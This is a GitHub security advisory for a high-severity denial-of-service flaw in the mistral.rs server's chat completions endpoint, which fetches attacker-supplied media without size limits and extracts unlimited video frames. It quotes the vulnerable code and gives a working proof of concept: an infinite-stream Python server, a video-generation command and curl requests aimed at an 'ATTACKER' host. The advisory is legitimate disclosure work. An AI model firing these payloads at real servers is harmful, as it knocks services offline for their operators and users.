GitHub Advisoryadvisory · crates.io

GHSA-m3wp-48jr-vr4g mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS

HIGH Published 2026-09-10 Modified 2026-09-10 Official page ↗
Ecosystem
crates.io
Packages
mistralrs-server-core
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400
Reviewed
2026-09-10

Affected packages

• crates.io mistralrs-server-core: < 0.8.18 → fixed in 0.8.18

Description

Unbounded Remote Media Fetch and Video Frame Expansion DoS Summary The `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default. Details Three independent sinks contribute to the vulnerability: 1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59–62`) ```rust let bytes = if url.scheme() == "http" || url.scheme() == "https" { match reqwest::get(url.clone()).await { Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap Err(e) => anyhow::bail!(e), } ``` `bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely. 2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65–69`) ```rust let bytes = if url.scheme() == "http" || url.scheme() == "https" { let resp = reqwest::get(url.clone()) .await .context(format!("Failed to fetch video: {url}"))?; resp.bytes().await?.to_vec() // no byte cap ``` Identical pattern to the image path; the full video body is buffered into a `Vec`. 3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225–248`) ```rust } else { let mut command = tokio::process::Command::new("ffmpeg"); command .arg("-i") .arg(input_path.to_str().unwrap()) .arg("-vsync") .arg("vfr") .arg(&output_pattern); ``` When `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`: ```rust parse_video_url(&url_unparsed, None) ``` A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU. Entry point and auth The route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration. PoC Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine) ```bash ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \ -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4 ``` Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server ```python Option A: serve the video file from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "video/mp4") self.end_headers() with open("many_frames.mp4", "rb") as f: self.wfile.write(f.read()) HTTPServer(("0.0.0.0", 9001), H).serve_forever() ``` ```python Option B: infinite image stream (memory exhaustion, no FFmpeg required) from http.server import BaseHTTPRequestHandler, HTTPServer import time class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "image/png") self.end_headers() chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8) while True: self.wfile.write(chunk) self.wfile.flush() time.sleep(0.01) HTTPServer(("0.0.0.0", 9002), H).serve_forever() ``` Step 3 – Send the malicious request to the mistral.rs server ```bash Video variant (disk/CPU exhaustion + memory) curl -sS http://127.0.0.1:8000/v1/chat/completions \ -H 'Content-Type: application/json' \ -d '{ "model": "default", "messages": [{ "role": "user", "content": [ {"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}}, {"type": "text", "text": "summarize this video"} ] }] }' Image variant (memory exhaustion) curl -sS http://127.0.0.1:8000/v1/chat/completions \ -H 'Content-Type: application/json' \ -d '{ "model": "default", "messages": [{ "role": "user", "content": [ {"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}}, {"type": "text", "text": "describe this image"} ] }] }' ``` Expected observation For the video variant: `/tmp/mistralrs_video/_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed. For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted. Dynamic reproduction result (Phase 2) A Docker container running a verbatim reproduction of `util.rs:59–62` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete. Impact Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted. Reproduction artifacts `Dockerfile` ```dockerfile syntax=docker/dockerfile:1 VULN-001 PoC: Unbounded Remote Media Fetch DoS Repository: EricLBuehler/mistral.rs Vulnerability: mistralrs-server-core/src/util.rs:62 http_resp.bytes().await?.to_vec() -- no byte cap on HTTP media fetch Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch. Stage 2: Slim runtime image used by poc.py. ----- build stage ----------------------------------------------------------- FROM rust:1.87-slim AS builder WORKDIR /harness Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms) RUN apt-get update && \ apt-get install -y --no-install-recommends pkg-config libssl-dev && \ rm -rf /var/lib/apt/lists/* Copy Cargo manifest first so that dependency layer is cached separately. COPY vuln_harness/Cargo.toml Cargo.toml Stub src so `cargo fetch` / dependency download works before copying real source. RUN mkdir -p src && echo 'fn main() {}' > src/main.rs RUN cargo fetch 2>&1 Now copy the real source and build. COPY vuln_harness/src/main.rs src/main.rs RUN cargo build --release 2>&1 && \ strip target/release/vuln_harness ----- runtime stage --------------------------------------------------------- FROM debian:bookworm-slim AS runtime RUN apt-get update && \ apt-get install -y --no-install-recommends ca-certificates python3 && \ rm -rf /var/lib/apt/lists/* COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness Copy the PoC orchestration script so the image is self-contained. COPY poc.py /poc.py Default: show usage ENTRYPOINT ["/usr/local/bin/vuln_harness"] CMD ["--help"] ``` `poc.py` ```python…

Related

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References